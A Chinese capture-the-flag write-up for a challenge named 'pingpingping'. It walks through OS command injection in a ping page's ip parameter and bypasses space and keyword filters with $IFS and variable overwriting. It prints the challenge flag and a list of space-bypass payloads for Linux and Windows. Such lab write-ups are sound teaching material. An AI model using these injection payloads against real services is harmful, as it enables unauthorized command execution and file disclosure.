打开靶场一看,/?ip=
而题目的题目pingpingping 于是就在url地址后面拼 /?ip=127.0.0.1
结果发现ping通了
那我们是不是可以用管道符查看下目录呢?于是试一下吧 /?ip=127.0.0.1|ls 出现两个 flag.php和index.php
这道题这么简单的吗?于是我们/?ip=127.0.0.1|cat flag.php
以为可以出现我们想要的flag,结果出现了这个界面,
原来这个没这么简单,这段英语属实不知道啥意思,过滤了空格的意思吗?
过滤空格的解决方法
$IFS$1 //$1改成$加其他数字都行,都能当作空格来用
?ip=127.0.0.1|cat$IFS$1flag.php
结果flag也需要绕过,那我们就先看看index文件吧
结果发现了过滤规则
看着过滤了好多字符,但是在最后我们看到了a变量,那我们是不是可以将a的值覆盖,然后进行绕过呢?
/?ip=127.0.0.1;a=g;cat$IFS$1fla$a.php
然后我们在源码中发现了flag
flag{53ec7aaa-24df-4624-819b-dc03dfa8c9fa}
盘点一下学到的知识点吧
$IFS是bash中的内部域分隔符,可以代替空格。后面的$9数字是可以随意的,
每个数字都有特殊含义,但是和前面的搭配都可以表示空格;
还有一些可以解决空格的问题:
{cat,flag.txt}
cat${IFS}flag.txt
cat$IFS$9flag.txt
cat<flag.txt
cat<>flag.txt
这些是linux下巧妙越过空格的方法
windows下绕过空格的方法,实用性不强,就type这个命令可以用
type.flag.txt
type,flag.txt
借鉴各个大佬的,然后通过一些知识点查知识点,有侵权联系我。